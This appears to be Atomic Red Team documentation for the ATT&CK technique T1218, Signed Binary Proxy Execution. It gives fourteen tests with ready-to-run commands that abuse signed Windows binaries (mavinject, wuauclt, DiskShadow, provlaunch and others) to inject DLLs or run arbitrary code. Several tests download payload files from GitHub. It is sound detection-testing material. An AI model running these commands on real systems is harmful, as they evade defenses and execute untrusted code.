T1218
Signed Binary Proxy Execution
Description from ATT&CK
Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
Atomic Tests
Atomic Test #1 - mavinject - Inject DLL into running process
Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
Supported Platforms: windows
auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| process_id | PID of process receiving injection | string | 1000 |
| dll_payload | DLL to inject | path | PathToAtomicsFolder\T1218\src\x64\T1218.dll |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"
Dependencies: Run with powershell!
Description: T1218.dll must exist on disk at specified location (#{dll_payload})
Check Prereq Commands:
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if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
Atomic Test #2 - Register-CimProvider - Execute evil dll
Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB
Supported Platforms: windows
auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| dll_payload | DLL to execute | path | PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll |
Attack Commands: Run with command_prompt!
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C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"
Dependencies: Run with powershell!
Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})
Check Prereq Commands:
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if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
Atomic Test #3 - InfDefaultInstall.exe .inf Execution
Test execution of a .inf using InfDefaultInstall.exe
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
Supported Platforms: windows
auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| inf_to_execute | Local location of inf file | string | PathToAtomicsFolder\T1218\src\Infdefaultinstall.inf |
Attack Commands: Run with command_prompt!
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InfDefaultInstall.exe "#{inf_to_execute}"
Dependencies: Run with powershell!
Description: INF file must exist on disk at specified location (#{inf_to_execute})
Check Prereq Commands:
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if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
Atomic Test #4 - ProtocolHandler.exe Downloaded a Suspicious File
Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.
Supported Platforms: windows
auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_url | url to document | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx |
Attack Commands: Run with command_prompt!
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FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
Dependencies: Run with powershell!
Description: Microsoft Word must be installed
Check Prereq Commands:
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try {
$wdApp = New-Object -COMObject "Word.Application"
Stop-Process -Name "winword"
exit 0 } catch { exit 1 }
Get Prereq Commands:
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Write-Host "You will need to install Microsoft Word manually to meet this requirement"
Atomic Test #5 - Microsoft.Workflow.Compiler.exe Payload Execution
Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
Supported Platforms: windows
auto_generated_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| xml_payload | XML to execution | path | PathToAtomicsFolder\T1218\src\T1218.xml |
| mwcpath | Default location of Microsoft.Workflow.Compiler.exe | path | C:\Windows\Microsoft.NET\Framework64\v4.0.30319 |
| mwcname | Default name of microsoft.workflow.compiler.exe | path | microsoft.workflow.compiler.exe |
Attack Commands: Run with powershell!
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#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
Dependencies: Run with powershell!
Description: .Net must be installed for this test to work correctly.
Check Prereq Commands:
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if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1}
Get Prereq Commands:
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write-host ".Net must be installed for this test to work correctly."
Atomic Test #6 - Renamed Microsoft.Workflow.Compiler.exe Payload Executions
Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
Supported Platforms: windows
auto_generated_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| xml_payload | XML to execution | path | PathToAtomicsFolder\T1218\src\T1218.xml |
| renamed_binary | renamed Microsoft.Workflow.Compiler | path | PathToAtomicsFolder..\ExternalPayloads\svchost.exe |
| mwcpath | Default location of Microsoft.Workflow.Compiler.exe | path | C:\Windows\Microsoft.NET\Framework64\v4.0.30319 |
| mwcname | Default name of microsoft.workflow.compiler.exe | path | microsoft.workflow.compiler.exe |
Attack Commands: Run with powershell!
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&"#{renamed_binary}" "#{xml_payload}" output.txt
Dependencies: Run with powershell!
Description: .Net must be installed for this test to work correctly.
Check Prereq Commands:
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if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
Atomic Test #7 - Invoke-ATHRemoteFXvGPUDisablementCommand base test
RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).
One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.
Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.
The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.
Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
Supported Platforms: windows
auto_generated_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| module_name | Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified. | string | foo |
| module_path | Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules. | string | $PWD |
Attack Commands: Run with powershell!
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Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}
Dependencies: Run with powershell!
Description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module. Check Prereq Commands:
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$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}
Get Prereq Commands:
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Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
Atomic Test #8 - DiskShadow Command Execution
Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
Supported Platforms: windows
auto_generated_guid: 0e1483ba-8f0c-425d-b8c6-42736e058eaa
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| txt_payload | txt to execute | path | PathToAtomicsFolder\T1218\src\T1218.txt |
| dspath | Default location of DiskShadow.exe | path | C:\Windows\System32\diskshadow.exe |
Attack Commands: Run with powershell!
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#{dspath} -S #{txt_payload}
Dependencies: Run with powershell!
Description: txt file must exist on disk at specified location (#{txt_payload}) Check Prereq Commands:
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if (Test-Path "#{txt_payload}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{txt_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt" -OutFile "#{txt_payload}"
Description: DiskShadow.exe must exist on disk at specified location (#{dspath}) Check Prereq Commands:
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if (Test-Path #{dspath}) {exit 0} else {exit 1}
Get Prereq Commands:
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echo "DiskShadow.exe not found on disk at expected location"
Atomic Test #9 - Load Arbitrary DLL via Wuauclt (Windows Update Client)
This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. See https://dtm.uk/wuauclt/
Supported Platforms: windows
auto_generated_guid: 49fbd548-49e9-4bb7-94a6-3769613912b8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| arbitrary_dll | Path of DLL to be loaded | string | PathToAtomicsFolder\T1218\bin\calc.dll |
Attack Commands: Run with command_prompt!
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wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer
Cleanup Commands:
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taskkill /f /im calculator.exe > nul 2>&1
Dependencies: Run with powershell!
Description: DLL to load must exist on disk as specified location (#{arbitrary_dll})
Check Prereq Commands:
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if (test-path "#{arbitrary_dll}"){exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{arbitrary_dll}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true" -OutFile "#{arbitrary_dll}"
Atomic Test #10 - Lolbin Gpscript logon option
Executes logon scripts configured in Group Policy. https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
Supported Platforms: windows
auto_generated_guid: 5bcda9cd-8e85-48fa-861d-b5a85d91d48c
Inputs:
None
Attack Commands: Run with command_prompt!
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Gpscript /logon
Atomic Test #11 - Lolbin Gpscript startup option
Executes startup scripts configured in Group Policy https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
Supported Platforms: windows
auto_generated_guid: f8da74bb-21b8-4af9-8d84-f2c8e4a220e3
Inputs:
None
Attack Commands: Run with command_prompt!
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Gpscript /startup
Atomic Test #12 - Lolbas ie4uinit.exe use as proxy
Executes commands from a specially prepared ie4uinit.inf file. Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
Supported Platforms: windows
auto_generated_guid: 13c0804e-615e-43ad-b223-2dfbacd0b0b3
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| Path_inf | Path to the cab file | path | PathToAtomicsFolder\T1218\src\ieuinit.inf |
| Path_ie4uinit | Path to ie4uinit.exe | path | c:\windows\system32\ie4uinit.exe |
Attack Commands: Run with command_prompt!
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copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe
copy "#{Path_inf}" %TEMP%\ieuinit.inf
%TEMP%\ie4uinit.exe -BaseSettings
Cleanup Commands:
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del %TEMP%\ie4uinit.exe >nul 2>&1
del %TEMP%\ieuinit.inf >nul 2>&1
Atomic Test #13 - LOLBAS CustomShellHost to Spawn Process
This test simulates an adversary copying 1
customshellhost.exe
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calc.exe
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C:\windows\system32\
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C:\temp\
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calc.exe
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explorer.exe
Supported Platforms: windows
auto_generated_guid: b1eeb683-90bb-4365-bbc2-2689015782fe
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| dest_path | Directory to copy files into | path | C:\test |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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if (-not (Test-Path #{dest_path})) {
New-Item -Path #{dest_path} -ItemType Directory
} else {
Write-Host "Directory #{dest_path} already exists." }
Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force
Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force
#{dest_path}\customshellhost.exe
Cleanup Commands:
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Remove-Item -Path #{dest_path} -Recurse -Force
Atomic Test #14 - Provlaunch.exe Executes Arbitrary Command via Registry Key
Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.
- https://twitter.com/0gtweet/status/1674399582162153472
- https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/ Registry keys are deleted after successful execution.
Supported Platforms: windows
auto_generated_guid: ab76e34f-28bf-441f-a39c-8db4835b89cc
Inputs:
None
Attack Commands: Run with command_prompt!
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reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0
reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe
c:\windows\system32\provlaunch.exe LOLBin